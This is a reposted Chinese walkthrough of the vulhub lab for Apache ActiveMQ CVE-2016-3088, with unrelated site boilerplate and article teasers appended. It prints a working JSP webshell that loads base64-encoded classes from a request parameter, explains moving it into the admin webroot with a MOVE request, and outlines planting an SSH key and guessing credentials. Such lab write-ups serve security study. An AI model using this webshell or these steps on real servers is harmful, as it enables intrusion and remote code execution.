vulhub-activemq(CVE-2016-3088)

? 在 Apache ActiveMQ 5.12.x~5.13.x 版本中,默認關閉了 fileserver 這個應用(不過,可以在conf/jetty.xml 中開啟);在 5.14.0 版本后,徹底刪除了 fileserver 應用。【所以在滲透測試過程中要確定好 ActiveMQ 的版本,免去無用功】

該漏洞出現在 fileserver 應用中,漏洞原理是 fileserver 支持寫入文件(但不解析 jsp),同時支持移動文件(MOVE 請求)。所以我們只需寫入一個文件,然后使用 MOVE 請求將其移動到任意位置,造成任意文件寫入漏洞。

寫入文件方法

寫入 webshell

寫入 cron 或 ssh key 等文件

寫入 jar 或 jetty.xml 等庫和配置文件

啟動環境

方法一:寫入webshell

【該方法的使用條件】

1、需要知道 ActiveMQ 的絕對路徑

2、需要能登錄 admin 或者 api

【分析條件】

1、ActiveMQ 的絕對路徑可以通過 http://your-ip:8161/admin/test/systemProperties.jsp 頁面獲取,不過該頁面需要登錄才能訪問。

2、獲取用戶名和密碼,可以通過弱口令、暴力破解、社工等方法(不過題目已經給出了默認用戶名和密碼 admin/admin,這里就省去了這個步驟)

絕對路徑

開始抓包 直接抓jsp

webshell

<%!

class U extends ClassLoader {

U(ClassLoader c) {

super(c);

}

public Class g(byte[] b) {

return super.defineClass(b, 0, b.length);

}

}

public byte[] base64Decode(String str) throws Exception {

try {

Class clazz = Class.forName("sun.misc.BASE64Decoder");

return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

} catch (Exception e) {

Class clazz = Class.forName("java.util.Base64");

Object decoder = clazz.getMethod("getDecoder").invoke(null);

return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

}

}

%>

<%

String cls = request.getParameter("passwd");

if (cls != null) {

new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

}

%>

修改成如下

204表示成功

MOVE 方法將 webshell 移動到 admin 所在文件夾,響應 204 表示操作成功

當然了,移動到 api 下也是可以的,我這邊移動到 admin 目錄下

蟻劍連接webshell

重點是記住 admin 應用是需要登錄的,所以記得一定要在連接中添加 Authorization

方法二:ssh上傳公鑰

攻擊機生成公鑰

下載下來?????? 也可以直接復制內容

上傳

move更改

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/41173.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/41173.shtml
英文地址,請注明出處:http://en.pswp.cn/web/41173.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

word 使用手冊

word 文檔中如何將下行的指定文字退格到上行中 就像是這樣的 編號&#xff1a;111 密碼&#xff1a;222 編號&#xff1a;123 密碼&#xff1a;321 編號&#xff1a;124 密碼&#xff1a;331 變成 編號&#xff1a;111密碼&#xff1a;222 編號&#xff1a;123密碼&#xff1…

數據結構1:C++實現變長數組

數組作為線性表的一種&#xff0c;具有內存連續這一特點&#xff0c;可以通過下標訪問元素&#xff0c;并且下標訪問的時間復雜的是O(1)&#xff0c;在數組的末尾插入和刪除元素的時間復雜度同樣是O(1)&#xff0c;我們使用C實現一個簡單的邊長數組。 數據結構定義 class Arr…

華為OD機試 - 來自異國的客人(Java 2024 D卷 100分)

華為OD機試 2024D卷題庫瘋狂收錄中&#xff0c;刷題點這里 專欄導讀 本專欄收錄于《華為OD機試&#xff08;JAVA&#xff09;真題&#xff08;D卷C卷A卷B卷&#xff09;》。 刷的越多&#xff0c;抽中的概率越大&#xff0c;每一題都有詳細的答題思路、詳細的代碼注釋、樣例測…

新手教學系列——前后端分離API優化版

在之前的文章《Vue 前后端分離開發:懶人必備的API SDK》中,我介紹了通過Object對象自動生成API的方法。然而,之前的代碼存在一些冗余之處。今天,我將分享一個改進版本,幫助你更高效地管理API。 改進版API SDK 首先,讓我們來看一下改進后的代碼: import request from …

深入理解 KVO

在 iOS 中&#xff0c;KVO&#xff08;Key-Value Observing&#xff09;是一個強大的觀察機制&#xff0c;它的底層實現相對復雜。KVO 利用 Objective-C 的動態特性&#xff0c;為對象的屬性提供觀察能力。 KVO 的底層實現 1. 動態子類化 當一個對象的屬性被添加觀察者時&am…

6、Redis系統-數據結構-01-String

Redis 數據結構簡介 前言 Redis 是一個高性能的內存數據庫&#xff0c;其關鍵在于其數據結構的設計。Redis 數據結構是指底層實現 Redis 鍵值對中值的數據類型的方式。它包括了以下幾種主要對象&#xff1a; String&#xff08;字符串&#xff09;對象&#xff1a;最基本的數…

[C++][CMake][流程控制]詳細講解

目錄 1.條件判斷1.基本表達式2.邏輯判斷3.比較4.文件操作5.其他 2.循環1.foreach2.while 1.條件判斷 在進行條件判斷的時候&#xff0c;如果有多個條件&#xff0c;那么可以寫多個elseif&#xff0c;最后一個條件可以使用else&#xff0c;但是開始和結束是必須要成對出現的&am…

WordPress常見問題及簡要說明

1. 如何安裝WordPress? 簡要說明&#xff1a;WordPress是一個流行的內容管理系統&#xff0c;可以幫助用戶快速搭建網站。安裝WordPress需要以下幾個步驟&#xff1a;下載WordPress安裝包、上傳到服務器、創建數據庫、配置數據庫信息、完成安裝。 2. 如何創建一個新的WordPr…

掌握電量脈搏:WebKit 電池狀態(Battery Status API)支持全解析

掌握電量脈搏&#xff1a;WebKit 電池狀態&#xff08;Battery Status API&#xff09;支持全解析 隨著移動設備的廣泛使用&#xff0c;Web 應用對設備的電池狀態信息的需求日益增長。Battery Status API 提供了一種方式&#xff0c;允許 Web 應用訪問設備的電池信息&#xff…

【反悔貪心 反悔堆】1642. 可以到達的最遠建筑

本文涉及知識點 反悔貪心 反悔堆 LeetCode1642. 可以到達的最遠建筑 給你一個整數數組 heights &#xff0c;表示建筑物的高度。另有一些磚塊 bricks 和梯子 ladders 。 你從建筑物 0 開始旅程&#xff0c;不斷向后面的建筑物移動&#xff0c;期間可能會用到磚塊或梯子。 當…

Spring Boot中的全局異常處理

Spring Boot中的全局異常處理 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01;今天我們將探討如何在Spring Boot應用中實現全局異常處理&#xff0c;這是保證應用…

VSCode, 請在windows下使用git bash終端

用vscode在windows下調測代碼&#xff0c;運行時默認打開的終端是windows的cmd&#xff0c;很不受我待見。畢竟習慣了linux&#xff0c;習慣了windows下的git bash風格。怎么辦&#xff1f; search&#xff0c;search&#xff0c;research。 先確保windows上安裝了git bash。…

MATLAB 2024b 更新了些什么?

MATLAB 2024b版本已經推出了預覽版&#xff0c;本期介紹一些MATLAB部分的主要的更新內容。 幫助瀏覽器被移除 在此前的版本&#xff0c;當我們從MATLAB中訪問幫助文檔時&#xff0c;默認會通過MATLAB的幫助瀏覽器&#xff08;Help browser&#xff09;。 2024b版本開始&…

【Unity數據交互】如何Unity中讀取Ecxel中的數據

&#x1f468;?&#x1f4bb;個人主頁&#xff1a;元宇宙-秩沅 &#x1f468;?&#x1f4bb; hallo 歡迎 點贊&#x1f44d; 收藏? 留言&#x1f4dd; 加關注?! &#x1f468;?&#x1f4bb; 本文由 秩沅 原創 &#x1f468;?&#x1f4bb; 專欄交流&#x1f9e7;&…

醫院掛號系統小程序的設計

管理員賬戶功能包括&#xff1a;系統首頁&#xff0c;個人中心&#xff0c;患者管理&#xff0c;醫生管理&#xff0c;專家信息管理&#xff0c;科室管理&#xff0c;預約信息管理&#xff0c;系統管理 微信端賬號功能包括&#xff1a;系統首頁&#xff0c;專家信息&#xff0…

數據結構算法-排序(一)-冒泡排序

什么是冒泡排序 冒泡排序&#xff1a;在原數組中通過相鄰兩項元素的比較&#xff0c;交換而完成的排序算法。 算法核心 數組中相鄰兩項比較、交換。 算法復雜度 時間復雜度 實現一次排序找到最大值需要遍歷 n-1次(n為數組長度) 需要這樣的排序 n-1次。 需要 (n-1) * (n-1) —…

Java事務(Transaction)

Java事務&#xff08;Transaction&#xff09;是數據庫管理系統執行過程中的一個邏輯單位&#xff0c;由一個有限的數據庫操作序列組成&#xff0c;這些操作要么全部執行&#xff0c;要么全部不執行&#xff0c;是一個不可分割的工作單位。事務的引入主要是為了解決并發操作數據…

Unity中遇到“Input Button unload_long_back_btn is not setup”問題

當你在Unity中遇到“Input Button unload_long_back_btn is not setup”這個問題時&#xff0c;需要按照以下步驟進行處理&#xff1a; 1. 檢查按鈕名稱 確保你在代碼中使用的按鈕名稱&#xff08;unload_long_back_btn&#xff09;與Unity輸入管理器中的配置完全匹配。 2. …

[AIGC] ClickHouse分布式表與本地表的區別及如何查詢所有本地表記錄

在大規模數據處理和分析場景中&#xff0c;ClickHouse是一種高性能的列式數據庫管理系統。ClickHouse支持分布式表和本地表兩種表類型&#xff0c;本文將介紹這兩種表類型的區別&#xff0c;并探討如何建表以查詢所有本地表的記錄。 文章目錄 一、ClickHouse分布式表與本地表的…

【Linux進階】文件系統7——文件系統簡單操作

1.磁盤與目錄的容量 現在我們知道磁盤的整體數據是在超級區塊中&#xff0c;但是每個文件的容量則在inode 當中記載。 那在命令行模式下面該如何顯示這幾個數據&#xff1f;下面就讓我們來談一談這兩個命令&#xff1a; df&#xff1a;列出文件系統的整體磁盤使用量&#xf…